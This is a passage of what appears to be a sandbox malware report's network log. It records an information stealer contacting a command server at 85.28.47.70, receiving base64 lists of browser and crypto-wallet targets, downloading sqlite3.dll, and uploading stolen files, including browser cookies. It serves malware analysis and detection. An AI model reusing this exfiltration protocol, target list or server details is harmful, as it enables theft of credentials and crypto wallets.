dCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jul 26, 2024 08:58:37.823322058 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jul 26, 2024 08:58:37.824893951 CEST	465	OUT	POST /744f169d372be841.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIDBAFHCAKFBGCBFHIJ Host: 85.28.47.70 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 62 35 64 39 30 63 62 37 63 34 61 30 62 64 61 30 64 34 33 66 36 30 31 64 34 34 64 38 31 61 36 38 31 39 37 63 36 65 33 62 33 36 37 63 37 33 32 30 36 30 34 31 65 34 31 62 66 31 62 34 36 36 34 64 66 66 65 33 64 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------KFIDBAFHCAKFBGCBFHIJContent-Disposition: form-data; name="token"40b5d90cb7c4a0bda0d43f601d44d81a68197c6e3b367c73206041e41bf1b4664dffe3d9------KFIDBAFHCAKFBGCBFHIJContent-Disposition: form-data; name="message"plugins------KFIDBAFHCAKFBGCBFHIJ--
Jul 26, 2024 08:58:38.013026953 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:58:37 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jul 26, 2024 08:58:38.013079882 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Jul 26, 2024 08:58:38.013113976 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Jul 26, 2024 08:58:38.013145924 CEST	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Jul 26, 2024 08:58:38.013180971 CEST	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Jul 26, 2024 08:58:38.013214111 CEST	1236	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHw
Jul 26, 2024 08:58:38.013250113 CEST	492	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 56 75 54 57 46 7a 61 79 42 58 59 57 78 73 5a 58 Data Ascii: IFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1
Jul 26, 2024 08:58:38.014595985 CEST	466	OUT	POST /744f169d372be841.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCF Host: 85.28.47.70 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 62 35 64 39 30 63 62 37 63 34 61 30 62 64 61 30 64 34 33 66 36 30 31 64 34 34 64 38 31 61 36 38 31 39 37 63 36 65 33 62 33 36 37 63 37 33 32 30 36 30 34 31 65 34 31 62 66 31 62 34 36 36 34 64 66 66 65 33 64 39 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 2d 2d 0d 0a Data Ascii: ------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="token"40b5d90cb7c4a0bda0d43f601d44d81a68197c6e3b367c73206041e41bf1b4664dffe3d9------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="message"fplugins------CAAKKFHCFIECAAAKEGCF--
Jul 26, 2024 08:58:38.202615023 CEST	335	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:58:38 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jul 26, 2024 08:58:38.247832060 CEST	199	OUT	POST /744f169d372be841.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFHIDGIJKJKECBGDBGH Host: 85.28.47.70 Content-Length: 6491 Connection: Keep-Alive Cache-Control: no-cache
Jul 26, 2024 08:58:38.247863054 CEST	6491	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 62 35 64 39 Data Ascii: ------DAFHIDGIJKJKECBGDBGHContent-Disposition: form-data; name="token"40b5d90cb7c4a0bda0d43f601d44d81a68197c6e3b367c73206041e41bf1b4664dffe3d9------DAFHIDGIJKJKECBGDBGHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jul 26, 2024 08:58:38.542124033 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:58:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 08:58:38.547735929 CEST	90	OUT	GET /c10a74a0c2f42c12/sqlite3.dll HTTP/1.1 Host: 85.28.47.70 Cache-Control: no-cache
Jul 26, 2024 08:58:38.729886055 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:58:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jul 26, 2024 08:58:38.729926109 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jul 26, 2024 08:58:38.729959965 CEST	448	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Jul 26, 2024 08:58:39.688158989 CEST	949	OUT	POST /744f169d372be841.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDB Host: 85.28.47.70 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 62 35 64 39 30 63 62 37 63 34 61 30 62 64 61 30 64 34 33 66 36 30 31 64 34 34 64 38 31 61 36 38 31 39 37 63 36 65 33 62 33 36 37 63 37 33 32 30 36 30 34 31 65 34 31 62 66 31 62 34 36 36 34 64 66 66 65 33 64 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="token"40b5d90cb7c4a0bda0d43f601d44d81a68197c6e3b367c73206041e41bf1b4664dffe3d9------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVlMc2RwVzRVRVlOM3ZZcV9yYlJyTkZ4TTFqb3pQR3Voak9SQlpLS016MnRkRHBWZTdkTnVUV3A0Q3lLLXp0NUlzNndWRWx2ZVdBZktRZ3dOSmlLS3RYSENDQ21ybGd6WlRsNUNpS2pUZUEyaVFxZjZ6bFJLMmg4d2cxaFZwSXNXc2FLcWFXSnlITVBGM0pBCg==------JJJJDAAECGHDGDGCGHDB--
Jul 26, 2024 08:58:39.896353960 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:58:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 08:58:39.933332920 CEST	561	OUT	POST /744f169d372be841.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJ Host: 85.28.47.70 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 62 35 64 39 30 63 62 37 63 34 61 30 62 64 61 30 64 34 33 66 36 30 31 64 34 34 64 38 31 61 36 38 31 39 37 63 36 65 33 62 33 36 37 63 37 33 32 30 36 30 34 31 65 34 31 62 66 31 62 34 36 36 34 64 66 66 65 33 64 39 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="token"40b5d90cb7c4a0bda0d43f601d44d81a68197c6e3b367c73206041e41bf1b4664dffe3d9------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="file"------EHJDHJKFIECAAKFIJJKJ--
Jul 26, 2024 08:58:40.146339893 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:58:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:56:25 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MTZEfNpWBwHMvR5&MD=yX7ZAh+D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-26 06:56:25 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 1dc3d896-5c27-47de-af6a-ab1f472e9734 MS-RequestId: dfeb4090-44ba-4fb6-8782-40a826a6a3fb MS-CV: HP4J8dq6nk6bLACn.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 26 Jul 2024 06:56:25 GMT Connection: close Content-Length: 24490
2024-07-26 06:56:25 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-07-26 06:56:25 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 